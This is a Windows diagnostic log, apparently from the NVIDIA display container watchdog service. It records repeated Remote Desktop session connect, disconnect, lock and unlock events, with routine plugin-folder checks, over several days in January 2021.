#1(D)[2021-01-04 20:45:08,462]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-04 20:45:08,462]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-04 20:45:08,462]{0000088C}<NvpWatchdog>      Session event was signaled
#4(I)[2021-01-04 20:45:08,478]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-04 20:45:08,509]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#11'
#6(I)[2021-01-04 20:45:08,509]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#11'
#7(D)[2021-01-04 20:45:08,509]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-04 20:45:08,509]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-04 20:45:08,509]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-04 20:45:08,509]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-04 20:45:08,509]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-04 20:45:08,509]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-04 20:45:08,509]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-04 20:45:08,509]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-04 20:45:08,509]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-04 20:45:08,509]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-04 20:45:08,509]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-04 20:45:08,509]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-04 20:45:08,509]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-04 20:45:08,509]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-04 20:45:08,509]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-04 20:45:08,509]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-04 20:45:08,509]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-04 20:45:08,509]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-04 20:45:08,509]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-04 20:45:08,509]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-04 20:45:08,509]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-04 20:45:08,509]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-04 20:45:08,509]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-04 20:45:08,509]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-04 20:45:08,509]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-04 20:45:08,509]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-04 20:45:08,790]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#4(I)[2021-01-04 20:45:08,790]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#5(I)[2021-01-04 20:47:11,921]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#6(I)[2021-01-04 20:47:11,921]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#7(I)[2021-01-04 20:47:12,000]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#8(I)[2021-01-04 20:47:12,000]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#9(I)[2021-01-08 06:22:13,538]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#0(I)[2021-01-08 06:22:13,538]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#1(I)[2021-01-08 06:22:13,538]{0000088C}<NvpWatchdog>      Session event was signaled
#2(I)[2021-01-08 06:22:13,538]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#3(I)[2021-01-08 06:22:13,538]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#4(I)[2021-01-08 06:22:13,585]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-08 06:22:13,694]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#13'
#6(I)[2021-01-08 06:22:13,694]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#13'
#7(D)[2021-01-08 06:22:13,694]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-08 06:22:13,694]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-08 06:22:13,694]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-08 06:22:13,694]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-08 06:22:13,694]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-08 06:22:13,694]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-08 06:22:13,694]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-08 06:22:13,694]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-08 06:22:13,694]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-08 06:22:13,694]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-08 06:22:13,694]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-08 06:22:13,694]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-08 06:22:13,694]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-08 06:22:13,694]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-08 06:22:13,694]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-08 06:22:13,694]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-08 06:22:13,694]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-08 06:22:13,694]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-08 06:22:13,694]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-08 06:22:13,694]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-08 06:22:13,694]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-08 06:22:13,694]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-08 06:22:13,694]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-08 06:22:13,694]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-08 06:22:13,694]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-08 06:22:13,694]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-08 06:22:13,694]{0000088C}<NvpWatchdog>      Session event was signaled
#4(I)[2021-01-08 06:22:13,694]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-08 06:22:13,726]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#13'
#6(I)[2021-01-08 06:22:13,726]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#13'
#7(D)[2021-01-08 06:22:13,726]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-08 06:22:13,726]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-08 06:22:13,726]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-08 06:22:13,726]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-08 06:22:13,726]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-08 06:22:13,726]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-08 06:22:13,726]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-08 06:22:13,726]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-08 06:22:13,726]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-08 06:22:13,726]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-08 06:22:13,726]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-08 06:22:13,726]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-08 06:22:13,726]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-08 06:22:13,726]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-08 06:22:13,726]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-08 06:22:13,726]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-08 06:22:13,726]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-08 06:22:13,726]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-08 06:22:13,726]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-08 06:22:13,726]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-08 06:22:13,726]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-08 06:22:13,726]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-08 06:22:13,726]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-08 06:22:13,726]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-08 06:22:13,726]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-08 06:22:13,726]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-08 06:22:13,960]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#4(I)[2021-01-08 06:22:13,960]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#5(I)[2021-01-08 06:26:56,201]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#6(I)[2021-01-08 06:26:56,201]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#7(I)[2021-01-08 06:26:56,311]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#8(I)[2021-01-08 06:26:56,311]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#9(I)[2021-01-08 07:54:47,383]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#0(I)[2021-01-08 07:54:47,383]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#1(I)[2021-01-08 07:54:47,383]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#2(I)[2021-01-08 07:54:47,383]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#2(I)[2021-01-08 07:54:47,383]{0000088C}<NvpWatchdog>      Session event was signaled
#4(I)[2021-01-08 07:54:47,414]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-08 07:54:47,523]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#16'
#6(I)[2021-01-08 07:54:47,523]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#16'
#7(D)[2021-01-08 07:54:47,523]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-08 07:54:47,523]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-08 07:54:47,523]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-08 07:54:47,523]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-08 07:54:47,523]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-08 07:54:47,523]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-08 07:54:47,523]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-08 07:54:47,523]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-08 07:54:47,523]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-08 07:54:47,523]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-08 07:54:47,523]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-08 07:54:47,523]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-08 07:54:47,523]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-08 07:54:47,523]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-08 07:54:47,523]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-08 07:54:47,523]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-08 07:54:47,523]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-08 07:54:47,523]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-08 07:54:47,523]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-08 07:54:47,523]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-08 07:54:47,523]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-08 07:54:47,523]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-08 07:54:47,523]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-08 07:54:47,523]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-08 07:54:47,523]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-08 07:54:47,523]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-08 07:54:47,758]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#4(I)[2021-01-08 07:54:47,758]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#5(I)[2021-01-08 07:55:26,576]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#6(I)[2021-01-08 07:55:26,576]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#7(I)[2021-01-08 07:55:26,638]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#8(I)[2021-01-08 07:55:26,638]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#9(I)[2021-01-08 08:56:07,317]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#0(I)[2021-01-08 08:56:07,317]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#1(I)[2021-01-08 08:56:07,317]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#2(I)[2021-01-08 08:56:07,317]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#3(I)[2021-01-08 08:56:07,317]{0000088C}<NvpWatchdog>      Session event was signaled
#4(I)[2021-01-08 08:56:07,332]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-08 08:56:07,426]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#18'
#6(I)[2021-01-08 08:56:07,426]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#18'
#7(D)[2021-01-08 08:56:07,426]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-08 08:56:07,426]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-08 08:56:07,426]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-08 08:56:07,426]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-08 08:56:07,426]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-08 08:56:07,426]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-08 08:56:07,426]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-08 08:56:07,426]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-08 08:56:07,426]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-08 08:56:07,426]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-08 08:56:07,426]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-08 08:56:07,426]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-08 08:56:07,426]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-08 08:56:07,426]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-08 08:56:07,426]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-08 08:56:07,426]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-08 08:56:07,426]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-08 08:56:07,426]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-08 08:56:07,426]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-08 08:56:07,426]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-08 08:56:07,426]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-08 08:56:07,426]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-08 08:56:07,426]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-08 08:56:07,426]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-08 08:56:07,426]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-08 08:56:07,426]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-08 08:56:07,613]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#4(I)[2021-01-08 08:56:07,613]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#5(I)[2021-01-08 10:10:26,545]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
